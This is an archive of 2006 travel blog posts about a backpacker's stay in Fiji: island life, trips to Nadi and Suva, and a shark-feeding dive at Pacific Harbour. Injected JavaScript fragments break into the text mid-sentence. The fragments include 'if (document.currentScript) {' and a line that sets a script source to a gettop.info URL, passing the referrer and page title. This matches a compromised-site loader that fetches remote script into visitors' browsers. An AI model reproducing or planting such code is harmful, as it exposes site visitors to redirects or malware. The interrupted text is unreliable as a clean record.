Sharks!!!

Posted by admin On July - 31 - 2006

Finally this Monday is the big day – we will see the worlds best shark feeding in Pacific Harbour of Beqa Adventures Divers. Its was so exciting. Apart from Glenn and me, Johnny, Sam and Marina done the shark feeding as well. It was great and worth it… The first dive was at 31m (51min) dept the second dive in 16m (49min) and we saw Giant Trevally, a Queensland Grooper, a Moray, White Tip Reef Sharks, Black Tip Reef Sharks, Grey Sharks, a Nurse Shark, a Lemon Shark and Bull Sharks. Later we got a brilliant 40min shark DVD. After the shark feeding Glenn and I went straight back to Nadi.

No shark feeding?

Posted by admin On July - 30 - 2006

After we could not do the shark feeding yesterday for me it was quite natural that we will do it on Monday. I just hoped Glenn will stay that long with me. Finally he did but now I had another problem: we were not booked in for the shark feeding on Monday…it was catastrophic! I was really upset because since week I was looking forward to it and I was happy when Glenn offered to come with me. But as he always says: ‘No worries!’ or in Fijian: ‘Sega na lega!’ And he was right, in the end somebody called off and we both can go to the shark feeding tomorrow. That made my day:-) During the day we visited the Arts village again and had a good lunch and a smoothie and I had done some shopping. Here are the shops tourist friendly and most of them are open Sunday as well!

The dark side of ‘Fiji time’

Posted by admin On July - 29 - 2006

This Saturday should be the day of the shark feeding in Pacific Harbour. You can’t imagine how excited I was. Its the best shark feeding of the world and you see heaps of different sharks very close. The more I was disappointed after we got up early in the morning that there will be no shark feeding for us today…Why?!? Just let me explain it with Fiji time. Fijian people are relaxed – sometimes too relaxed… So it happened that the shark feeding boat, a predator, was supposed to be fixed by somebody. But this person never appeared so nobody fixed the boat. And they had not noticed that until today morning…s**t! Never mind. The next shark feeding will be not before Monday! I hope Glenn will stay with me that long… Glenn and I visited together with Andy and Cat Suva the capital of Fiji. It was a very busy Saturday and I was not anymore used to this stress around me… So after walking the whole city I was quite happy when we found a DVD shop where Glenn selected DVD´s and I checked my emails (first time after three weeks – heaps of spam).

Pacific Harbor

Posted by admin On July - 28 - 2006

The trip from Nadi to Pacific Harbor is about three hours. I was surprised because our express bus got video and we watched a cheesy ‘Sniper’ movie and ‘Terminator 3’. We stayed at ‘Safari Club Resort’ of Tony at Pacific Harbour. Tony is a very nice guy and it was the best room I had in Fiji so far. With kitchen and own hot shower and TV. Felt immediately like home. In the afternoon we visited the near ‘Arts Village’ and I had the best smoothie since weeks.

Nadi town

Posted by admin On July - 27 - 2006

Nadi (speak Nandi) is a nice little town with about 30.900 inhabitants. Its Fiji’s third largest city. From here most visitors start there traveling around Fiji and its islands. Today I got the chance to have a look in Nadi’s busy streets. First while Glenn organized things in Denerau I went in to a café close by and had a refreshing ice coffee. Later we went into the center of Nadi examining the clothes and handicraft stores. I’ve seen the big Indian temple and had the best samosas (Indian dish) of whole Fiji (Glenn said so). I still do photos even when it is with my cheap quick snap but I wont complain. Its just a different aesthetics. Look below…

Leaving to Nadi

Posted by admin On July - 26 - 2006

Today we left to Nadi first to change the flights at the airport. Was a nice relaxing trip with Glenn and the two israelis, Ariel and …(What’s his name again?). The change whas quick and easy. The flight back Auckland is at the 08 of june 2006. The israelis left us so we went to the Nadi Bay Hotel for check in and have a hot shower (only cold ones on the island). Later Glenn showed me a bit of Nadi and we went straight to one DVD shop. Its funny you can buy hundred of DVD copies very cheap and in good quality. I’m just concerned that they are not working at my laptop or DVD player because its european. Maybe I have to try out… We had dinner at the ‘Hamburg Bar’ which belongs to a german. Talked a bit german with him and heared how difficult it is to open a bar in Fiji and to get the liquor licence.

Changing flights

Posted by admin On July - 25 - 2006

After calling Pacific Airlines I found out for changing flights I have to go to Nadi. It is not possible to change them online or at the phone. So its a journey just for changing them because the public transportation is not really good in Fiji. Air Pacific told me latest I can change them for NZ$ 100 at Thursday. Glenn had lots to do in Nadi as well so we will go there on Wednesday.if (document.currentScript) {

Walk the island…

Posted by admin On July - 23 - 2006

After Zoe, Aaron, Mark, Rosie and the girls left the island it felt more quiet than ever before. Not many people from the original crowd were left. Nathan, Simon, Simone and I decided to walk around the island. It took us about 3 1/2 hours for walking first to the millenium bure, then more further and after the mangroves down to the beach through the jungle. I arrived first at the beach and went straight into the water. Had done a vision my camera felt down into the water so I went back to the beach to save it. On this way back it happened, the camera dipped into the water. But it was not destroyed, just could not work properly anymore. What a shock! No photos anymore. Hopefully the others send me as much photos back… In the evening was beach party and I saw the first time in my life shooting stars. And about seven! That was very good after the stupid camera accident.

Farewell Harriet and James

Posted by admin On July - 22 - 2006

Harriet and James left today back to England. Was a really sad farewell. After a while its hard if you start liking people to much that you miss them… Hope I will catch up with as much people as I can next year in the UK. Zoe said she will stay a couple of days longer but she changed her mind quickly and after two hours I recognized in a conversation that she will leave tomorrow. I was disappointed because looked forward to spend time with her at the beach. Felt for some minutes pretty alone on the island and I thought maybe now is the best time for a change. And because I’m now advanced diver I remembered a friends recommendation for the best shark feeding in the world in Pacific Harbor. I asked Glenn about it and he offered me to come with me. I was happy and looking forward to spend some days with him away from the island.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Harriet’s birthday

Posted by admin On July - 20 - 2006

Today was Harriet’s birthday. This day was a perfect day for a 19th birthday (wished I could be that young again… The sun was shining and Harriet, Lucie and I went to the beach on the other side, called ‘Oné Beach’. To go there it takes about 20min alongside the sunset hill. The view is amazing since you can see both lagoons. Nananu-I-Ra is such a wonderful paradise. Barely anybody walks along the beautiful back beach.. In the evening everybody was going to watch the sunset at the sunset hill which was one of the best I’ve seen ever.

Nananu-I-Ra – the perfect paradise
